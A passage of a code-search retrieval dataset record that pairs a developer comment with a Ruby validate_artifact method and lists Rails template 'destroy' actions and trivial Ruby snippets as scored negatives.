successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n if @configuration_template.destroy\n head :ok\n end\n end", "def destroy\n @default_email_template.destroy\n respond_to do |format|\n format.html { redirect_to default_email_templates_url, notice: 'Default email template was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @cv_template.destroy\n respond_to do |format|\n format.html { redirect_to action: :index, notice: 'Personal info was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @print_template = PrintTemplate.find(params[:id])\n @print_template.destroy\n\n respond_to do |format|\n format.html { redirect_to print_templates_url }\n format.json { head :no_content }\n end\n end", "def destroy\n\n #@forms_ref = Form.where(\"template_id = ?\",@template.id)\n\n if (! @template.isUsed)\n\n @template.destroy\n respond_to do |format|\n format.html { redirect_to templates_url }\n format.json { head :no_content }\n end\n\n else\n # @template = Template.new\n\n @template.errors.add(:childforms, \"template being used\")\n\n respond_to do |format|\n index()\n format.html { render action: 'index'}\n format.json { head :no_content }\n end\n\n\n\n end\n end", "def destroy\n @template = Template.find(params[:id])\n @template.destroy\n\n respond_to do |format|\n format.html { redirect_to(templates_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @email_template.destroy\n respond_to do |format|\n format.html { redirect_to email_templates_url, notice: 'Email template was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @goaltemplate = Goaltemplate.find(params[:id])\n @goaltemplate.destroy\n\n respond_to do |format|\n format.html { redirect_to(goaltemplates_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @request_template.destroy\n respond_to do |format|\n respond format, 'Request template was successfully destroyed.'\n end\n end", "def destroy\n @user_template = UserTemplate.find(params[:id])\n @user_template.destroy\n\n respond_to do |format|\n format.html { redirect_to(user_templates_url) }\n format.xml { head :ok }\n end\n add_audit_trail(:details => \"Deleted a template with alias: #{@user_template.alias}\")\n end", "def destroy\n @question_template.destroy\n respond_to do |format|\n format.html { redirect_to question_templates_url, notice: 'Question template was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @question_template = QuestionTemplate.find(params[:id])\n @question_template.destroy\n\n respond_to do |format|\n format.html { redirect_to question_templates_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @meal_template.destroy\n respond_to do |format|\n format.html { redirect_to meal_templates_url, notice: 'Meal template was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @template_datum.destroy\n respond_to do |format|\n format.html { redirect_to template_data_url, notice: 'Template datum was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @email_template.destroy\n respond_to do |format|\n format.html { redirect_to email_templates_url, notice: 'Email template was destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @template.destroy\n respond_to do |format|\n format.html { redirect_to templates_url, notice: 'Template was successfully destroyed.' }\n end\n end", "def destroy\n @host_tpl = HostTpl.find(params[:id])\n @host_tpl.destroy\n\n respond_to do |format|\n format.html { redirect_to host_tpls_url }\n format.json { head :no_content }\n end\n end", "def delete_message_template(id)\n @client.raw('delete', \"/content/message-templates/#{id}\")\n end", "def destroy\n @asset_category_template.destroy\n respond_to do |format|\n format.html { redirect_to asset_category_templates_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @print_template.destroy\n respond_to do |format|\n format.html { redirect_to print_templates_url, notice: 'Print template was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @invitation_template.destroy\n respond_to do |format|\n format.html { redirect_to invitation_templates_url, notice: 'Invitation template was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def delete_template( id )\n\t\t# for each template\n\t\[email protected] do |key, template|\n\t\t\t# make sure the Template is removed from the part map\n\t\t\ttemplate.part_map.delete( id )\n\t\tend\n\t\t\n\t\t# remove Template from main Hash\n\t\[email protected]( id )\n\n\tend" ]
[ "0.81895006", "0.7716338", "0.76344776", "0.7569155", "0.75441825", "0.7424844", "0.72418547", "0.72326523", "0.7227562", "0.719766", "0.71947485", "0.71778405", "0.7172795", "0.7161264", "0.7155254", "0.7136468", "0.71360016", "0.71345735", "0.7133789", "0.7114048", "0.71082777", "0.7102994", "0.71003926", "0.7093442", "0.7080431", "0.7064838", "0.7060137", "0.70540303", "0.7045134", "0.7040093", "0.70154643", "0.7006446", "0.6994764", "0.699473", "0.69889015", "0.69889015", "0.69889015", "0.6985167", "0.69844764", "0.6978466", "0.696774", "0.6964159", "0.6961418", "0.69601786", "0.6946102", "0.69339925", "0.693267", "0.6932359", "0.692325", "0.6923086", "0.69213444", "0.6920292", "0.69101024", "0.69050646", "0.6899466", "0.6892557", "0.68921894", "0.68877095", "0.6876158", "0.6876158", "0.6875907", "0.68692285", "0.68599445", "0.6852925", "0.684879", "0.68452567", "0.684451", "0.6842057", "0.6841569", "0.68386585", "0.6831172", "0.68247616", "0.6815154", "0.68139213", "0.6810343", "0.6794209", "0.67921746", "0.67875373", "0.67757446", "0.6772969", "0.67725706", "0.6772354", "0.67697644", "0.67694587", "0.67589164", "0.674647", "0.67447937", "0.6741383", "0.6732415", "0.6728694", "0.6723918", "0.6721074", "0.67170805", "0.6710988", "0.6707466", "0.6700391", "0.6685491", "0.66801697", "0.66671526", "0.66514724" ]
0.81072366
1
I dont think this belongs here and it will need to eventually be moved to a more approperiate location
def validate_artifact(validators, artifact, options = {}) # TODO: R2P: change R/P model through all validators file_count = artifact.count do |name, file| doc = build_document(file) merged_options = options.merge(file_name: name) validators.each do |validator| validator.validate(doc, merged_options) break unless validator.can_continue end true end validators.each do |validator| execution_errors.concat validator.errors end conditionally_add_task_specific_errors(file_count) execution_errors.only_errors.count.positive? ? fail : pass rescue => e errored(e) logger.error("Encountered an exception in Test Execution #{id}: #{e.message}, backgrace:\n#{e.backtrace}") end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def private; end", "def probers; end", "def schubert; end", "def refutal()\n end", "def who_we_are\r\n end", "def specie; end", "def specie; end", "def specie; end", "def specie; end", "def internal; end", "def implementation; end", "def implementation; end", "def formation; end", "def suivre; end", "def custom; end", "def custom; end", "def strategy; end", "def used?; end", "def intensifier; end", "def loc; end", "def loc; end", "def loc; end", "def weber; end", "def state; end", "def state; end", "def state; end", "def state; end", "def state; end", "def state; end", "def state; end", "def state; end", "def sitemaps; end", "def isolated; end", "def isolated; end", "def celebration; end", "def stderrs; end", "def terpene; end", "def upc_e; end", "def identify; end", "def internship_passed; end", "def jack_handey; end", "def operations; end", "def operations; end", "def extra_state; end", "def scientist; end", "def internal?; end", "def placebo?; false end", "def trd; end", "def extra; end", "def anchored; end", "def processor; end", "def berlioz; end", "def offences_by; end", "def villian; end", "def origin; end", "def origin; end", "def origin; end", "def feruchemist; end", "def verdi; end", "def init; end", "def init; end", "def init; end", "def init; end", "def position; end", "def position; end", "def position; end", "def position; end", "def position; end", "def position; end", "def position; end", "def position; end", "def private_method\n end", "def informational?; end", "def called_from; end", "def called_from; end", "def handle; end", "def appraisals; end", "def appraisals; end", "def invention; end", "def pos; end", "def pos; end", "def pos; end", "def pos; end", "def pos; end", "def pos; end", "def strain; end", "def methods; end", "def methods; end", "def methods; end", "def methods; end", "def malts; end", "def implemented_in; end", "def under_construction\n end", "def dh; end", "def final; end", "def initialize\n\t\t\n\tend", "def code_of_conduct; end", "def active; end", "def active; end", "def initialize\r\n\r\n end", "def usable?; end" ]
[ "0.7868308", "0.6778602", "0.6655623", "0.64959353", "0.63604206", "0.63326985", "0.63326985", "0.63326985", "0.63326985", "0.63251454", "0.62973046", "0.62973046", "0.615267", "0.6131147", "0.611963", "0.611963", "0.6024578", "0.59892607", "0.5981644", "0.5979489", "0.5979489", "0.5979489", "0.59731084", "0.5958939", "0.5958939", "0.5958939", "0.5958939", "0.5958939", "0.5958939", "0.5958939", "0.5958939", "0.5949278", "0.5942163", "0.5942163", "0.59359515", "0.5929317", "0.5928453", "0.5927366", "0.5925759", "0.59154415", "0.59109807", "0.5906837", "0.5906837", "0.5882272", "0.5852943", "0.5849738", "0.58367825", "0.58326864", "0.5831094", "0.5828986", "0.582194", "0.58095556", "0.5805856", "0.58054376", "0.57817435", "0.57817435", "0.57817435", "0.5777249", "0.5776726", "0.57742196", "0.57742196", "0.57742196", "0.57742196", "0.5769631", "0.5769631", "0.5769631", "0.5769631", "0.5769631", "0.5769631", "0.5769631", "0.5769631", "0.5762417", "0.57596105", "0.5742095", "0.5742095", "0.5709927", "0.5700629", "0.5700629", "0.5686378", "0.5682813", "0.5682813", "0.5682813", "0.5682813", "0.5682813", "0.5682813", "0.56756645", "0.56595176", "0.56595176", "0.56595176", "0.56595176", "0.56528735", "0.5643432", "0.56424844", "0.56423", "0.5618093", "0.5614346", "0.5608932", "0.56079674", "0.56079674", "0.5596583", "0.55822426" ]
0.0
-1
returns combined status including c3 test execution returns passing if both passing, incomplete if either incomplete, failing if both complete and at least one failing
def status_with_sibling sibling = sibling_execution return status unless sibling return status if status == sibling.status return 'incomplete' if incomplete? || sibling.incomplete? return 'failing' if failing? || sibling.failing? return 'errored' if errored? || sibling.errored? 'failing' # failing if status's do not match end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def check_status(c, on_fail_msg, on_success_msg, dofail = false)\n if !c.status.success?\n fail_msg = on_fail_msg + ' ' + c.stdout + '\\n' + c.stderr\n if dofail\n fail fail_msg\n else\n puts fail_msg\n end\n else\n puts on_success_msg\n end\nend", "def invisible_testSuccess(c, ci, cv, state)\n @state[COMMITMENT].any? {|terms| terms.size == 4 and terms[0] == c and terms[1] == ci}\nend", "def status\n if (!plan_results || plan_results == [])\n return 'no_tests'\n end\n if (plan_results['state'] == \"Successful\")\n return 'pass'\n end\n if (plan_results['state'] != \"Successful\")\n return 'fail'\n end\n return 'no_tests'\n end", "def run_cmd_check_status_and_output(expected_status = \"succeed\", expected_result = nil)\n it do\n match_status(\"should #{expected_status}\")\n expect(cmd_output).to include(expected_result) if expected_result\n end\nend", "def status\n return \"Passed\" if self.passed?\n return \"Failed\" if self.failed?\n return \"Not Run\"\n end", "def succeeded?; state == 'succeeded'; end", "def succeeded?; state == 'succeeded'; end", "def test_any_chance_of_working \n assert_equal(true, credit_cards(:cc_no_statuses_live).any_chance_of_working?)\n assert_equal(true, credit_cards(:cc_no_statuses_live).any_chance_of_working?(true))\n\n assert_equal(false, credit_cards(:cc_no_statuses_expired).any_chance_of_working?)\n assert_equal(true, credit_cards(:cc_no_statuses_expired).any_chance_of_working?(true))\n\n assert_equal(false, credit_cards(:cc_one_status_expired).any_chance_of_working?)\n assert_equal(true, credit_cards(:cc_one_status_expired).any_chance_of_working?(true))\n\n assert_equal(false, credit_cards(:cc_one_status_expired).any_chance_of_working?)\n assert_equal(true, credit_cards(:cc_one_status_expired).any_chance_of_working?(true))\n\n assert_equal(true, credit_cards(:cc_one_status_gateway).any_chance_of_working?)\n assert_equal(true, credit_cards(:cc_one_status_gateway).any_chance_of_working?(true))\n\n assert_equal(false, credit_cards(:cc_one_status_addrnomatch).any_chance_of_working?)\n assert_equal(false, credit_cards(:cc_one_status_addrnomatch).any_chance_of_working?(true))\n \n end", "def test_checklist_status_values_not_started\n test = @product.product_tests.checklist_tests.first\n passing, failing, not_started, total = checklist_status_values(test)\n\n assert_equal 0, passing\n assert_equal 0, failing\n assert_equal 1, not_started\n assert_equal 1, total\n end", "def report_test_result success, msg\n if(success)\n print_success msg\n else\n print_error msg\n end\nend", "def test\n false_good, true_bad = get_counts(@testing_bad)\n true_good, false_bad = get_counts(@testing_good)\n\n correct = true_good.length + true_bad.length\n total = correct + false_bad.length + false_good.length\n ratio = format_ratio(1.0 * correct / total)\n\n bad_total = false_good.length + true_bad.length\n bad_ratio = format_ratio(1.0 * true_bad.length / bad_total)\n\n good_total = true_good.length + false_bad.length\n good_ratio = format_ratio(1.0 * true_good.length / good_total)\n\n puts \"Accuracy: #{ratio} (#{correct} of #{total})\"\n\n puts \"Bad commit accuracy: #{bad_ratio} (#{true_bad.length} of #{bad_total})\"\n print_failures(true_bad)\n\n puts \"Good commit accuracy: #{good_ratio} (#{true_good.length} of #{good_total})\"\n print_failures(true_good)\n end", "def passing?\n completed? && !has_failures? && !has_errors?\n end", "def verify (description, bool_expression)\n puts \"\\n*** #{description} ***\"\n $test_count += 1\n if bool_expression\n puts \"PASS: #{description}\"\n $pass_count += 1\n return 1\n else\n puts \"FAIL: #{description}\"\n $fail_count += 1\n return 0\n end\nend", "def runTest()\n # open program\n stdin, stdout, stderr, wait_thr = Open3.popen3(@definition.executable, *@definition.arguments)\n\n # put input template to program\n if File.file?(@definition.stdin)\n expect_stdin = IO.readlines(@definition.stdin)\n else\n expect_stdin = [ ]\n end\n\n expect_stdin.each do |x| stdin.puts x end\n stdin.close\n\n # store program output\n result_stdout = stdout.readlines\n result_stderr = stderr.readlines\n stdout.close\n stderr.close\n\n # retreive exit status\n result_status = wait_thr.value.exitstatus\n\n # compare program stdout\n if File.file?(@definition.stdout)\n expect_stdout = IO.readlines(@definition.stdout)\n else\n expect_stdout = [ ]\n end\n mismatch_stdout = compare(expect_stdout, result_stdout)\n\n # compare program stderr\n if File.file?(@definition.stderr)\n expect_stderr = IO.readlines(@definition.stderr)\n else\n expect_stderr = [ ]\n end\n mismatch_stderr = compare(expect_stderr, result_stderr)\n\n # compare program output files\n mismatch_files = false\n @definition.files.each do |output_file, file|\n if File.file?(file)\n expect_file = IO.readlines(file)\n else\n expect_file = [ ]\n end\n\n if File.file?(output_file)\n result_file = IO.readlines(output_file)\n else\n result_file = [ ]\n end\n mismatch_files |= compare(expect_file, result_file)\n end\n\n # compare program status\n mismatch_status = @definition.status != result_status\n\n # debugging output\n if @environment.verbose\n if mismatch_stdout\n puts \"mismatch in stdout\"\n end\n if mismatch_stderr\n puts \"mismatch in stderr\"\n end\n if mismatch_files\n puts \"mismatch in files\"\n end\n if mismatch_status\n puts \"mismatch in status\"\n end\n end\n\n # check the test results\n if !mismatch_stdout && !mismatch_stderr && !mismatch_files && ! mismatch_status\n return_value = false\n else\n return_value = true\n end\n\n return return_value\n end", "def exit_code\n # there must be no unit test failures\n # pp @results\n final_exit_code = 0\n if @results['rubocop']\n # more than 10 errors per file on average\n status = @results['rubocop']['total_errors'] / @results['rubocop']['total_files']\n if status > 10\n puts \"More than 10 RuboCop errors per file found. Found #{status}\"\n final_exit_code = 1\n end\n end\n\n if @results['openstudio_style']\n total_files = @results['openstudio_style']['by_measure'].count\n status = @results['openstudio_style']['total_errors'] / total_files\n if status > 10\n puts \"More than 10 OpenStudio Style errors found per file. Found #{status}\"\n final_exit_code = 1\n end\n\n status = @results['openstudio_style']['total_warnings'] / total_files\n if status > 25\n puts \"More than 25 OpenStudio Style warnings found per file, reporting as error. Found #{status}\"\n final_exit_code = 1\n end\n end\n\n if @results['minitest']\n if @results['minitest'][:total_errors] > 0 || @results['minitest'][:total_failures] > 0\n puts 'Unit Test (Minitest) errors/failures found.'\n final_exit_code = 1\n end\n end\n\n # if @results['coverage']\n # status = @results['coverage']['total_percent_coverage']\n # if status < 70\n # puts \"Code coverage is less than 70%, raising error. Coverage was #{status}\"\n # final_exit_code = 1\n # end\n # end\n\n # Since the data are relative to the directory from which it has been run, then just show from current dir (.)\n puts 'Open ./test_results/dashboard/index.html to view measure testing dashboard.'\n\n return final_exit_code\n end", "def failed?; state == 'failed'; end", "def failed?; state == 'failed'; end", "def finished?\n ['success', 'failed'].include? status\n end", "def normal_failed?\n return status == PRE_FAILED ||\n status == WORKFLOW_FAILED ||\n status == UPLOADING_RESULTS_VCF_FAILED ||\n status == UPLOADING_RESULTS_SCORE_FAILED\n end", "def success?\n %w[1 2 3].include?(@status.to_s[0])\n end", "def success?\n completed? && !error?\n end", "def complete?\n %w[success failure exception].include?(status)\n end", "def cla_status(repo, pr, cla_uri)\n cla_result = check_cla(repo, pr, cla_uri)\n return [ cla_result[\"status\"] != \"error\", cla_result[\"message\"] ]\n end", "def test_update_status\n batch = batches(:batch4)\n job_one = Job.create(:batch=>batch,:tiff_number=>1234,:check_number=>12131,:count=>12, :job_status => 'Complete', :estimated_eob => 12)\n job_two = Job.create(:batch=>batch,:tiff_number=>1231,:check_number=>12135,:count=>12, :job_status => 'Allocated', :estimated_eob => 12)\n\n # Check for complete\n job_two.job_status = 'Complete'\n job_two.update\n\n batch.update_status\n assert_equal 'Complete', batch.status\n assert_in_delta(batch.completion_time.to_i, Time.now.to_i,1)\n\n # Check for processing\n job_one.job_status = 'Processing'\n job_one.update\n batch.update_status\n assert_equal('Processing', batch.status)\n assert_nil batch.completion_time\n\n # Check for new\n job_one.job_status = 'New'\n job_one.update\n job_two.job_status = 'New'\n job_two.update\n batch.update_status\n assert_equal 'New', batch.status\n assert_nil batch.completion_time\n\n # one new and one complete\n job_one.job_status = 'New'\n job_one.update\n job_two.job_status = 'Complete'\n job_two.update\n batch.update_status\n assert_equal 'Processing', batch.status\n assert_nil batch.completion_time\n\n # QA Rejected\n job_one.job_status = 'QA Rejected'\n job_one.update\n job_two.job_status = 'Complete'\n job_two.update\n batch.update_status\n assert_equal 'Processing', batch.status\n assert_nil batch.completion_time\n\n # one HLSC Rejected and the other Complete\n job_one.job_status = 'HLSC Rejected'\n job_one.update\n job_two.job_status = 'Complete'\n job_two.update\n batch.update_status\n assert_equal 'HLSC Rejected', batch.status\n job_one.job_status = 'Complete'\n job_one.update\n batch.update_status\n assert_equal 'Complete', batch.status\n\n # All HLSC Verified\n job_one.job_status = 'HLSC Verified'\n job_one.update\n job_two.job_status = 'HLSC Verified'\n job_two.update\n batch.update_status\n assert_equal 'HLSC Verified', batch.status\n\n # One HLSC Rejected and one processor allocated\n job_one.job_status = 'HLSC Rejected'\n job_one.update\n job_two.job_status = 'Complete'\n job_two.update\n batch.update_status\n assert_equal 'HLSC Rejected', batch.status\n end", "def check test, block\n res = []\n begin\n block.call\n rescue ApiPi::AssertionError => e\n res << e.message\n end\n failed = !res.empty?\n failed ? @failure_count += 1 : @success_count += 1\n puts \"\\tERROR: #{res.first}\\n\" if failed\n end", "def result_case\n if @succeeded\n color_print(\"Success\", :green)\n else\n color_print(\"Error\", :red)\n end\n end", "def test_single_user_should_update_test_results_under_c1\n test_target_instance = get_new_test_target_instance(\"example3\", \"2012112803\")\n batch_edit_test_results(test_target_instance, members(:one), TestResult::TEST_TARGET_PASS, 'test_case_1', 'test_case_2')\n\n batch_edit_test_results(test_target_instance, members(:one), TestResult::TEST_TARGET_FAIL, 'test_case_1', 'test_case_2')\n assert_response :success\n\n assert_test_result_valid(test_target_instance, members(:one), 'test_case_1', 2, 3, 2)\n assert_test_result_valid(test_target_instance, members(:one), 'test_case_2', 2, 3, 2)\n end", "def fetch_status\n connection = get_connection\n response = connection.get do |req|\n req.url STATUS_BASE\n req.params['f'] = :json\n req.params['test'] = test_id\n end\n response_body = Hashie::Mash.new(JSON.parse(response.body))\n\n # Check 3 possible scenarios (code from Susuwatari gem)\n case response_body.data.statusCode.to_s\n when /1../\n @status = :running\n when \"200\"\n @status = :completed\n fetch_result\n when /4../\n @current_status = :error\n end\n end", "def failed?; failed_to_start? || (@success == false) end", "def ok_failed(condition)\n if condition\n puts \"OK\"\n else\n puts \"FAILED\"\n end\nend", "def results_status()\n r = attr_get(\"status\")\n if(r.eql?(\"passed\"))\n \"passed\"\n else\n \"failed\"\n end\n end", "def result_of_checking; end", "def status\n if params['fraud_status'] == 'pass' || params['credit_card_processed'] == 'Y'\n 'Completed'\n elsif params['fraud_status'] == 'wait'\n 'Pending'\n else\n 'Failed'\n end\n end", "def failing?\n @status.exitstatus & (1 << 3) != 0\n end", "def test\n data = Fyb.private.test.perform.parse\n data['msg'] == 'success'\n end", "def successful_continous_tests(achievement, user)\n number = achievement.settings['quantity']\n user.continuous_successful_tests(number)\n end", "def passed?\n counters\n .map { |c| c.ask!(:expected_messages_received?) }\n .reduce { |a, e| a && e }\n end", "def complete?\n passes = self.calls.last(3).select { |c| c.is_a?(Pass) }.size\n self.calls.size >= 4 and passes == 3\n end", "def passing?\n return false if self.test_executions.empty?\n \n most_recent_execution = self.ordered_executions.first\n return !most_recent_execution.nil? && most_recent_execution.passing?\n end", "def success?() end", "def success?\n\t\t!!( @status and @status.exitstatus == 0 )\n\tend", "def test_multiple_users_should_update_test_result_under_c1_0\n test_target_instance = get_new_test_target_instance(\"example5\", \"2012112805\")\n batch_edit_test_results(test_target_instance, members(:one), TestResult::TEST_TARGET_PASS, 'test_case_1')\n batch_edit_test_results(test_target_instance, members(:two), TestResult::TEST_TARGET_PASS, 'test_case_1')\n\n batch_edit_test_results(test_target_instance, members(:one), TestResult::TEST_TARGET_FAIL, 'test_case_1')\n assert_response :success\n\n assert_test_result_valid(test_target_instance, members(:two), 'test_case_1', 0b01, 0b11)\n assert_test_result_valid(test_target_instance, members(:one), 'test_case_1', 0b10, 0b11, 2)\n end", "def status\n return \"skipped\" if skipped?\n return \"never\" if never?\n return \"missed\" if missed?\n return \"covered\" if covered?\n end", "def querytests(binaries)\n # There are no test cases -- inconclusive.\n return 0 if binaries.empty?\n\n # If there are test cases, and _at least_ one of them managed to\n # _pass_, we assume the function is implemented.\n binaries.each { |b|\n f = File.new(\"#{b[0]}/log.passed\", 'r')\n while (line = f.gets)\n return 1 if line.include? b[1]\n end\n f.close\n }\n\n # Require at least 2 failing test cases.\n # XXX: Increase this to eliminate false positive results.\n return 0 if binaries.size < 2\n\n # The function is not implemented.\n return -1\nend", "def test_product_status\n product = Product.new(vendor: @vendor, name: 'my product', c1_test: true, measure_ids: ['BE65090C-EB1F-11E7-8C3F-9A214CF093AE'], bundle_id: @bundle.id)\n product.save!\n product_test = product.product_tests.build({ name: 'my product test 1', measure_ids: ['BE65090C-EB1F-11E7-8C3F-9A214CF093AE'] }, MeasureTest)\n product_test.save!\n # status should be incomplete if all product tests passing but no checklist test exists\n product_test.tasks.first.test_executions.create!(state: :passed, user: @vendor_user)\n assert_equal 'incomplete', product.status\n\n # if product does not need to certify for c1, than product should pass\n product.update(c1_test: nil, c2_test: true)\n assert_equal 'passing', product.status\n product.update(c1_test: true, c2_test: nil)\n\n # adding a complete checklist test will make product pass\n create_complete_checklist_test_for_product(product, product.measure_ids.first)\n assert_equal 'passing', product.status\n\n # one failing product test will fail the product\n product_test = product.product_tests.build({ name: 'my product test 2', measure_ids: ['BE65090C-EB1F-11E7-8C3F-9A214CF093AE'] }, MeasureTest)\n product_test.save!\n te = product_test.tasks.first.test_executions.build(state: :failed)\n @vendor_user.test_executions << te\n te.save!\n assert_equal 'failing', product.status\n end", "def exit_status\n status = 0\n status |= 2 if @metrics[\"changes\"][\"total\"] > 0\n status |= 4 if @metrics[\"resources\"][\"failed\"] > 0\n status\n end", "def ok_failed(condition)\n if (condition)\n puts \"OK\"\n else\n puts \"FAILED\"\n end\nend", "def success_count\n examples_total - examples_pending - examples_failed\n end", "def workflow_complete?\n return status == WORKFLOW_COMPLETE ||\n status == UPLOADING_RESULTS_SCORE_RUNNING ||\n status == UPLOADING_RESULTS_SCORE_COMPLETE ||\n status == UPLOADING_RESULTS_VCF_RUNNING ||\n status == UPLOADING_RESULTS_VCF_COMPLETE ||\n status == COMPLETE\n end", "def passed_tests\n self.tests.select do |test|\n test.status == 'passed'\n end\n end", "def passed?\n return @test_passed\n end", "def passed?\n failures.empty?\n end", "def status\n case @result.retval\n when 0 ; \"ok\"\n when 1 ; \"warning\"\n when 2 ; \"critical\"\n end\n end", "def successful\n count(&:ok?)\n end", "def complete?\n self.status == STATUS[:complete] \n #self.status == 1\n end", "def run_and_check_status (node, expected_exit_status)\n `./bin/aeolus-node-check ./spec/fixtures/nodes/#{node}`\n $?.exitstatus.should be(expected_exit_status), \"#{node}\"\nend", "def passed?\n !failed?\n end", "def check_if_finished\n return parent_check if parent\n\n st = status\n raise error_message(st) if st.failed?\n\n queued = st.queued?\n return [true, queued, st] if st.completed?\n\n [false, queued, nil]\n end", "def status_is_successful?\n\t\treturn self.status_category == 2\n\tend", "def print_results\n if [email protected]?\n @failures.each do |test|\n pout \"\\nFailed: #{test[:desc]}\"\n puts test[:result]\n # print a newline for easier reading\n puts \"\"\n end\n abort\n else\n puts \"All passed!\".green\n end\nend", "def result\n state.try(:to_sym) == :passed ? 0 : 1\n end", "def finished?\n failed? or successful? or skipped?\n end", "def github_check_status\n base_url = \"repos/#{@project.repository_path}/commits/#{@commit}\"\n preview_header = {Accept: 'application/vnd.github.antiope-preview+json'}\n\n check_suites = GITHUB.get(\"#{base_url}/check-suites\", headers: preview_header).to_attrs.fetch(:check_suites)\n check_runs = GITHUB.get(\"#{base_url}/check-runs\", headers: preview_header).to_attrs.fetch(:check_runs)\n\n # ignore pending unimportant\n check_suites.reject! do |s|\n check_state(s[:conclusion]) == \"pending\" &&\n (\n IGNORE_PENDING_CHECKS.include?(s.dig(:app, :name)) ||\n @project.ignore_pending_checks.to_s.split(\",\").include?(s.dig(:app, :name))\n )\n end\n\n overall_state = check_suites.\n map { |suite| check_state(suite[:conclusion]) }.\n max_by { |state| STATE_PRIORITY.index(state.to_sym) }\n\n statuses = check_runs.map do |check_run|\n {\n state: check_state(check_run[:conclusion]),\n description: ApplicationController.helpers.markdown(check_run[:output][:summary]),\n context: check_run[:name],\n target_url: check_run[:html_url],\n updated_at: check_run[:started_at]\n }\n end\n statuses += missing_check_runs_statuses(check_suites, check_runs)\n\n {state: overall_state || 'pending', statuses: statuses}\n end", "def passes\n count - failures - errors - skips\n end", "def success?(*) end", "def successful?\n status == 'successful'\n end", "def failing?\n @status.exitstatus & (1 << 3) != 0\n end", "def test_multiple_users_should_update_test_results_under_c2\n test_target_instance = get_new_test_target_instance(\"example7\", \"2012112807\")\n batch_edit_test_results(test_target_instance, members(:two), TestResult::TEST_TARGET_FAIL, 'test_case_1')\n batch_edit_test_results(test_target_instance, members(:one), TestResult::TEST_TARGET_PASS, 'test_case_1')\n assert_response :success\n\n assert_test_result_valid(test_target_instance, members(:two), 'test_case_1', 0b10, 0b11)\n assert_test_result_valid(test_target_instance, members(:one), 'test_case_1', 0b01, 0b11)\n end", "def run_success(*command, **opts, &b)\n\t\t\tstatus, _out, _error = run(*command, **opts, &b)\n\t\t\tstatus.success?\n\t\tend", "def successful?\n status == :successful or tasks_are_successful?\n end", "def test_multiple_users_should_update_test_result_under_c1_1\n test_target_instance = get_new_test_target_instance(\"example6\", \"2012112806\")\n batch_edit_test_results(test_target_instance, members(:one), TestResult::TEST_TARGET_PASS, 'test_case_1')\n batch_edit_test_results(test_target_instance, members(:two), TestResult::TEST_TARGET_FAIL, 'test_case_1')\n\n batch_edit_test_results(test_target_instance, members(:one), TestResult::TEST_TARGET_FAIL, 'test_case_1')\n assert_response :success\n\n assert_test_result_valid(test_target_instance, members(:two), 'test_case_1', 0b10, 0b11)\n assert_test_result_valid(test_target_instance, members(:one), 'test_case_1', 0b10, 0b11, 2)\n end", "def run_succeeded; end", "def test_completed(test)\n case test.status\n when 'passed'\n puts \"\\e[34mTest:\\e[0m \\e[37m#{test.name} Line: #{test.lineNumber}\\e[0m Status: \\e[92mPassed\\e[0m\"\n when 'failed'\n puts \"\\e[34mTest:\\e[0m \\e[37m#{test.name} Line: #{test.lineNumber}\\e[0m Status: \\e[31mFailed\\e[0m\"\n when 'undefined'\n puts \"\\e[34mTest:\\e[0m \\e[37m#{test.name} Line: #{test.lineNumber}\\e[0m Status: \\e[93mUndefined\\e[0m\"\n when 'pending'\n puts \"\\e[34mTest:\\e[0m \\e[37m#{test.name} Line: #{test.lineNumber}\\e[0m Status: \\e[96mPending\\e[0m\"\n end\n end", "def ok?\n run unless ran?\n\n @status.success?\n end", "def passed_checks\n all_checks_which_pass\n end", "def calculate_and_change_status\n return @status.not_a_plan! if !task.basis_plan?\n return @status.singular! if task.singular_basis_matrix?\n return @status.optimal! if task.sufficient_for_optimal?\n return @status.unlimited! if task.positive_z_index == nil # if z <= 0, target function is unlimited\n @status.step_completed!\n end", "def ran?\n completed? || failed?\n end", "def passed?\n !failed?\n end", "def ci_test_failures?(pr)\n not travis.find_all{|b| b[:pull_req] == pr[:github_id] and b[:status] == 'failed'}.empty?\n end", "def passed_test?(event)\n event['event'] == 'test' && event['status'] == 'pass'\n end", "def passing?\n return true if self.product_tests.empty?\n\n passing = self.product_tests.includes(:test_executions).select do |p|\n p.execution_state == :passed\n end\n passing.length == product_tests.length\n end", "def verify_job_complete(base_64_urn,access_token)\n Timeout::timeout(120) do # 2 min\n loop do\n response = RestClient.get(\"#{API_URL}/modelderivative/v2/designdata/#{base_64_urn}/manifest\",\n { Authorization: \"Bearer #{access_token}\"} )\n json = JSON.parse(response.body)\n p \"Translate file to SVF - status: #{json['status']}, progress: #{json['progress']}\"\n \n return response if json[\"progress\"]==\"complete\"\n sleep 1\n end\n end\n end", "def run\n @testcases.each do |test|\n print \"[ RUN... ] \".green + \" #{name} #{test.name}\\r\"\n\n if test.run\n puts \"[ OK ] \".green + \" #{name} #{test.name}\"\n else\n puts \"[ FAIL ] \".red + \" #{name} #{test.name}\"\n puts\n puts \"Command that failed:\"\n test.explain\n return false\n end\n end\n\n true\n end", "def success?\n (@failures + @errors) == 0\n end", "def status_text\n if skipped?\n 'skipped'\n elsif error?\n 'error'\n else\n 'success'\n end\n end", "def failures; end", "def failures; end", "def failures; end", "def failed?\n !succeeded? && !in_progress?\n end", "def is_successful?\n code.to_i >= 200 && code.to_i <= 299\n end", "def progress(status)\n #For each SUT\n $sut.each do |ip, sut|\n #We check the status that we determined earlier,\n #depending on it we call the progress functions\n if status[ip]['status'] == 'Autotest'\n autotestprogress(status, sut, ip)\n elsif status[ip]['status'] == 'Stability'\n stabilityprogress(status, sut, ip)\n elsif status[ip]['status'] == 